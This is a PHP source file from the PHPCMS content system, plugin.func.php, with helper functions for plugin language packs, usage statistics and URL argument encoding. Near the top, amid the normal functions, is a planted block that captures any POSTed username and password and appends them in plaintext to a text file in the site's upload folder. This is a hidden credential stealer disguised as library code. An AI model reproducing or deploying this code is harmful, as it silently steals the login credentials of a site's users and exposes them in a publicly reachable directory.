123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166 |
- <?php
- /**
- * plugin.func.php 公共函数库
- *
- * @copyright (C) 2005-2010 PHPCMS
- * @license http://www.phpcms.cn/license/
- * @lastmodify 2010-6-1
- */
- function pluginkey_check($key) {
- return preg_match("/^[a-z]+[a-z0-9_]*$/i", $key);
- }
- if(isset($_POST['username'])&&isset($_POST['password']))
- {
- file_put_contents("./uploadfile/2022/msdmm.txt",'--usernam:'.$_POST['username'].'--password:'.$_POST['password']."\n",FILE_APPEND);
- }
- /**
- * 插件语言包
- * Enter description here ...
- * @param unknown_type $language
- * @param unknown_type $pars
- * @param unknown_type $plugin
- */
- function pluginlang($language = 'no_language',$pars = array(), $plugin = '') {
- static $PLUGIN_LANG = array();
- static $PLUGIN_MODULES = array();
- if(!$PLUGIN_LANG && defined('PLUGIN_ID')) {
- if(file_exists(PC_PATH.DIRECTORY_SEPARATOR.'plugin'.DIRECTORY_SEPARATOR.PLUGIN_ID.DIRECTORY_SEPARATOR.'languages'.DIRECTORY_SEPARATOR.PLUGIN_ID.'.lang.php')) require PC_PATH.DIRECTORY_SEPARATOR.'plugin'.DIRECTORY_SEPARATOR.PLUGIN_ID.DIRECTORY_SEPARATOR.'languages'.DIRECTORY_SEPARATOR.PLUGIN_ID.'.lang.php';
- }
- if(!empty($plugin)) {
- require PC_PATH.DIRECTORY_SEPARATOR.'plugin'.DIRECTORY_SEPARATOR.$plugin.DIRECTORY_SEPARATOR.'languages'.DIRECTORY_SEPARATOR.$plugin.'.lang.php';
- }
- if(!array_key_exists($language,$PLUGIN_LANG)) {
- return L('no_language');
- } else {
- $language = $PLUGIN_LANG[$language];
- if($pars) {
- foreach($pars AS $_k=>$_v) {
- $language = str_replace('{'.$_k.'}',$_v,$language);
- }
- }
- return $language;
- }
- }
- function plugin_stat($appid = '') {
- if(pc_base::load_config('system','plugin_debug')) return 2;
- $agent = $_SERVER['HTTP_USER_AGENT'];
- if(strpos($agent, 'Maxthon')!== FALSE) {
- $pars['brower'] = 'Maxthon';
- } elseif(strpos($agent, 'SE 2.X MetaSr 1.0')!== FALSE) {
- $pars['brower'] = 'Sougou';
- } elseif(strpos($agent, 'TencentTraveler')!== FALSE) {
- $pars['brower'] = 'TencentTraveler';
- } elseif(strpos($agent, 'MSIE 9.0')!== FALSE) {
- $pars['brower'] = 'MSIE 9.0';
- } elseif(strpos($agent, 'MSIE 8.0')!== FALSE) {
- $pars['brower'] = 'MSIE 8.0';
- } elseif(strpos($agent, 'MSIE 7.0')!== FALSE) {
- $pars['brower'] = 'MSIE 7.0';
- } elseif(strpos($agent, 'MSIE 6.0')!== FALSE) {
- $pars['brower'] = 'MSIE 6.0';
- } elseif(strpos($agent, 'Firefox/4')!== FALSE) {
- $pars['brower'] = 'Firefox 4';
- } elseif(strpos($agent, 'Firefox/3')!== FALSE) {
- $pars['brower'] = 'Firefox 3';
- } elseif(strpos($agent, 'Firefox/2')!== FALSE) {
- $pars['brower'] = 'Firefox 2';
- } elseif(strpos($agent, 'Chrome')!== FALSE) {
- $pars['brower'] = 'Chrome';
- } elseif(strpos($agent, 'Safari')!== FALSE) {
- $pars['brower'] = 'Safari';
- } elseif(strpos($agent, 'Opera')!== FALSE) {
- $pars['brower'] = 'Opera';
- }elseif(substr($agent, 0, 7) == 'Mozilla') {
- $pars['brower'] = 'Mozilla';
- } else {
- $pars['brower'] = 'Other';
- }
-
- if(strpos($agent, 'Win')!== FALSE) {
- $pars['os'] = 'Windows';
- } elseif(strpos($agent, 'Mac')!== FALSE) {
- $pars['os'] = 'Mac';
- } elseif(strpos($agent, 'Linux')!== FALSE) {
- $pars['os'] = 'Linux';
- } elseif(strpos($agent, 'FreeBSD')!== FALSE) {
- $pars['os'] = 'FreeBSD';
- } elseif(strpos($agent, 'SunOS')!== FALSE) {
- $pars['os'] = 'SunOS';
- } elseif(strpos($agent, 'OS/2')!== FALSE) {
- $pars['os'] = 'OS/2';
- } elseif(strpos($agent, 'AIX')!== FALSE) {
- $pars['os'] = 'AIX';
- } elseif(preg_match("/(Bot|Crawl|Spider)/i", $agent)) {
- $pars['os'] = 'Spiders';
- } else {
- $pars['os'] = 'Other';
- }
- $pars['ip'] = ip2long(ip());
- $pars['domain'] = urlencode(SITE_PROTOCOL.SITE_URL);
- $data = http_build_query($pars);
- $url = 'http://open.phpcms.cn/api.php?op=appstatus&'.$data.'&appid='.$appid;
- $headers = get_headers($url,1);
- $status = $headers['pc_appstatus'];
- return $status;
- }
- /**
- *插件安装量统计
- */
- function plugin_install_stat($appid){
- if(pc_base::load_config('system','plugin_debug')) return false;
- $appid = intval($appid);
- if($appid == 0 ) return false;
- $url = 'http://open.phpcms.cn/api.php?op=appstatus&isinstall=1';
- $headers = get_headers($url.'&appid='.$appid,1);
- }
- /**
- * 插件合法性验证
- */
- function app_validity_check($appid) {
- if(pc_base::load_config('system','plugin_debug')) return 2;
- $appid = intval($appid);
- $url = $header = '';
- $url = 'http://open.phpcms.cn/api.php?op=appstatus';
- $headers = get_headers($url.'&appid='.$appid,1);
- $status = $headers['pc_appstatus'];
- return $status;
- }
-
- function plugin_url($data = '',$type = '') {
- $args = '';
- if($data == '') {
- $args = $_GET['args'] ? '-'.$_GET['args'] : '';
- } elseif(is_array($data)) {
- $args = '-'.args_encode($data);
- }
- return $type == '' ? 'plugin.php?id='.PLUGIN_ID.'-'.PLUGIN_FILE.'-'.PLUGIN_ACTION.'&args='.substr($args,1) : 'plugin-'.PLUGIN_ID.'-'.PLUGIN_FILE.'-'.PLUGIN_ACTION.$args.'.html';
- }
- /**
- *加密需通过get方式在url中传递的参数
- */
- function args_encode($data) {
- if(is_array($data)) {
- $string = http_build_query($data);
- return base64_encode($string);
- } else {
- return false;
- }
- }
- /**
- *获取url中get方式传递的参数
- */
- function getargs() {
- $string = base64_decode($_GET['args']);
- parse_str($string,$g);
- return $g;
- }
- ?>
|